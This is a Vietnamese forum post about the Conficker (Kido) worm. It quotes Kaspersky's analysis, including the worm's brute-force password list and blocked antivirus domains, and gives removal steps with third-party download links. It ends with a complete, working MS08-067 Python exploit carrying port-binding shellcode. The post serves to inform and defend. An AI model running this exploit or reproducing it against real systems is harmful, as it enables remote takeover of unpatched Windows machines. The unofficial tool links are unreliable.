Virus ---- Net-Worm.Win32.Kido
Dạo này con
Net-Worm.Win32.Kido này làm mưa làm gió ở những quán net.
Tình hình như sau: chơi game online bị "nắc", đứt kết nối với server chủ, khi chạy game báo lỗi và ko vào đc game, mạng chập chờn, mất tín hiệu, rớt mạng.
Đây là nguyên văn phân tích của Kaspersky lab:
Trích dẫn:
|
Chi tiết kỹ thuật
Con Worm này lây lan thông qua mạng local và thiết bị lưu trữ di động như USB. Nó thực chất là một file PE DLL. Dung lượng của nó vào khoảng 155KB đến 165 KB. Nó được đóng gói bằng UPX.
Cài đặt
Nó copy file thực thi của nó đến thư mục hệ thống của Windows như sau:
%System%\<rnd>.dll
với <rnd> là một chuỗi ký hiệu ngẫu nhiên.
Đồng thời nó tạo ra một dịch vụ để đảm bảo nó sẽ được kích hoạt mỗi khi Windows khởi động trên hệ thống của nạn nhân. Các khóa registry sau sẽ được tạo ra:
[HKLM\SYSTEM\CurrentControlSet\Services\netsvcs]
Nó cũng thay đổi giá trị registry sau:
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost] “netsvcs” = “<original value> %System%\<rnd>.dll”
Sự lây lan trên mạng
Khi tiêm nhiễm vào máy tính, nó sẽ kích hoạt HTTP server trên một cổng TCP ngẫu nhiên. Cổng này sau đó sẽ được sử dụng để tải file thực thi của con worm này đến một máy tính khác.
Nó sẽ lấy địa chỉ IP của những máy tính trên cùng mạng và tấn công chúng thông qua lỗi tràn bộ đệm trên dịch vụ Server.
Nó gửi một yêu cầu RPC lừa đảo đến một máy tính ở xa, yêu cầu này sẽ làm tràn bộ đệm khi hàm wcscpy_s được gọi trong thư viện netapi32.dll. Điều này làm kích hoạt một đoạn code để download con worm này về, kích hoạt và cài đặt nó lên những hệ thống mới.
Để khai thác lỗ hổng được mô tả ở trên, worm này sẽ nỗ lực kết nối đến một tài khoản administrator trên máy tính ở xa. Nó sử dụng những password dưới đây để kết nối đến tài khoản này theo phương pháp “brute force”
99999999
9999999
999999
99999
9999
999
99
9
88888888
8888888
888888
88888
8888
888
88
8
77777777
7777777
777777
77777
7777
777
77
7
66666666
6666666
666666
66666
6666
666
66
6
55555555
5555555
555555
55555
5555
555
55
5
44444444
4444444
444444
44444
4444
444
44
4
33333333
3333333
333333
33333
3333
333
33
3
22222222
2222222
222222
22222
2222
222
22
2
11111111
1111111
111111
11111
1111
111
11
1
00000000
0000000
00000
0000
000
00
0987654321
987654321
87654321
7654321
654321
54321
4321
321
21
12
super
secret
server
computer
owner
backup
database
lotus
oracle
business
manager
temporary
ihavenopass
nothing
nopassword
nopass
Internet
internet
example
sample
love123
boss123
work123
home123
mypc123
temp123
test123
qwe123
abc123
pw123
root123
pass123
pass12
pass1
admin123
admin12
admin1
password123
password12
password1
default
foobar
foofoo
temptemp
temp
testtest
test
rootroot
root fuck
zzzzz
zzzz
zzz
xxxxx
xxxx
xxx
qqqqq
qqqq
qqq
aaaaa
aaaa
aaa
sql
file
web
foo
job
home
work
intranet
controller
killer
games
private
market
coffee
cookie
forever
freedom
student
account
academia
files
windows
monitor
unknown
anything
letitbe
letmein
domain
access
money
campus
explorer
exchange
customer
cluster
nobody
codeword
codename
changeme
desktop
security
secure
public
system
shadow
office
supervisor
superuser
share
adminadmin
mypassword
mypass
pass
Login
login
Password
password
passwd
zxcvbn
zxcvb
zxccxz
zxcxz
qazwsxedc
qazwsx
q1w2e3
qweasdzxc
asdfgh
asdzxc
asddsa
asdsa
qweasd
qwerty
qweewq
qwewq
nimda
administrator
Admin
admin
a1b2c3
1q2w3e
1234qwer
1234abcd
123asd
123qwe
123abc
123321
12321
123123
1234567890
123456789
12345678
1234567
123456
12345
1234
123
Lây lan thông qua phương tiện lư trữ di động (như USB)
Nó copy file thực thi của nó:
<X>:\RECYCLER\S-5-3-42-2819952290-8240758988-879315005-3665\<rnd>.vmx
với rnd là một chuỗi các kí hiệu ngẫu nhiên (chữ in thường); X là ổ đĩa.
Nó cũng đồng thời thay thế file sau trong mỗi thư mục gốc của ổ đĩa:
<X>:\autorun.inf
Điều này để đảm bảo rằng file thực thi của nó sẽ được chạy mỗi khi người dùng mở ổ đĩa bị tiêm nhiễm sử dụng Windows Explorer
Hoạt động
Khi được kích hoạt, nó sẽ tiêm nhiễm đoạn mã của nó vào không gian địa chỉ của một trong những tiến trình hệ thống “svchost.exe”. Đoạn mã này sẽ chịu trách nhiệm về việc load vào những tính năng nguy hiểm của worm.
- Vô hiệu hóa System Restore.
- Khóa các địa chỉ bao gồm chuỗi sau:
indowsupdate
wilderssecurity
threatexpert
castlecops
spamhaus
cpsecure
arcabit
emsisoft
sunbelt
securecomputing
rising
prevx
pctools
norman
k7computing
ikarus
hauri
hacksoft
gdata
fortinet
ewido
clamav
comodo
quickheal
avira
avast
esafe
ahnlab
centralcommand
drweb
grisoft
eset
nod32
f-prot
jotti
kaspersky
f-secure
computerassociates
networkassociates
etrust
panda
sophos
trendmicro
mcafee
norton
symantec
microsoft
defender
rootkit
malware
spyware
virus
Đồng thời nó cũng download một file từ đường link dưới đây:
http://trafficconverter.biz/*****/antis ... oadadv.exe
File này sẽ được lưu trữ trong thư mục hệ thống của Windows và sau đó sẽ kích hoạt.
Ngoài ra Worm này cũng download các file từ đường link dưới đây:
http://<URL>/search?q=<%rnd2%>
rnd2 là một số ngẫu nhiên. URL là một đường link được tạo nên bởi một thuật toán đặc biệt sử dụng ngày tháng hiện tại. Worm này lấy về ngày tháng hiện tại từ một trong các site sau:
http://www.w3.org
http://www.ask.com
http://www.msn.com
http://www.yahoo.com
http://www.google.com
http://www.baidu.com
Những file được download bởi worm này sẽ được lưu vao trong thư mục hệ thống của Windows với tên gốc của nó.
|
Nay ta có thể diệt con này triệt để bằng cách sau:
1. Khởi động máy ở chế độ
Safe Mode
2. Chạy các file:
Symantec W32.Downadup Removal Tool 1.1.0.2 EULA:
http://www.mediafire.com/file/jtkzy5zcyqm/Symantec W32.Downadup Removal Tool 1.1.0.2 EULA.rar
Microsoft Windows Malicious Software Removal Tool-March 2009:
http://www.mediafire.com/file/mkmmjhzzoma/Microsoft Windows Malicious Software Removal Tool-March 2009.rar
Kill Net-Worm.Win32.Kido.ih(KIS)v3.4.6:
http://www.mediafire.com/file/uknz3kid40y/Kill Net-Worm.Win32.Kido.ih(KIS)v3.4.6.rar
Đây là những soft diệt conficker của Microsoft, Kaspersky, Symatec
3. Khởi động lại máy ở chế độ WinXp bình thường sau đó chạy các file sau:
http://www.mediafire.com/file/1q3iunt2j ... 86-ENU.rar
http://www.mediafire.com/file/iywygzzmm ... 86-ENU.rar
http://www.mediafire.com/file/meyzxzzuz ... 86-ENU.rar
http://www.mediafire.com/file/memwwmiju ... 86-ENU.rar
Đây là những bản vá bảo mật của Microsoft chống conficker
Khi làm các bạn nhớ rút dây mạng ra.
Còn đây là phân tích lỗi bảo mật MS08-067 mà conficker lợi dụng để tấn công:
Trích dẫn:
|
#!/usr/bin/env python
################################################## ###########################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
################################################## ###########################
import struct
import sys
from threading import Thread #Thread is imported incase you would like to modify
#the src to run against multiple targets.
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
print '################################################# ######################'
print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '# www.hackingspirits.com'
print '# www.coffeeandsecurity.com'
print '# Email: d3basis.m0hanty @ gmail.com'
print '################################################# ######################\n'
#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\ x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\ x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\ x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\ x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\ xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\ xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\ x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\ xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\ xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\ x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\ x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\ x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\ xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\ x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\ x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\ x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\ x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\ x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\ xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\ x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\ x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x0 0\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x 04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'
#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'
if sys.argv[2]=='1': #Windows 2000 Payload
payload=payload_1
print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2': #Windows 2003[SP2] Payload
payload=payload_2
print '[-]Windows 2003[SP2] payload loaded'
class SRVSVC_Exploit(Thread):
def __init__(self, target, osver, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port = port
self.target = target
self.osver = osver
def __DCEPacket(self):
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
# Constructing Malicious Packet
self.__stub='\x01\x00\x00\x00'
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6 \x00\x00\x00'
self.__stub+=shellcode
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f \x00\x00\x00'
self.__stub+=payload
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
self.__stub+='\x01\x00\x00\x00'
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation
print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'
if __name__ == '__main__':
try:
target = sys.argv[1]
osver = sys.argv[2]
except IndexError:
print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
print 'Select OS Version'
print '[-]Windows 2000: OS Version = 1'
print '[-]Windows 2003[SP2]: OS Version = 2'
sys.exit(-1)
current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
# milw0rm.com [2008-11-16]
|
Chúc các bạn thành công!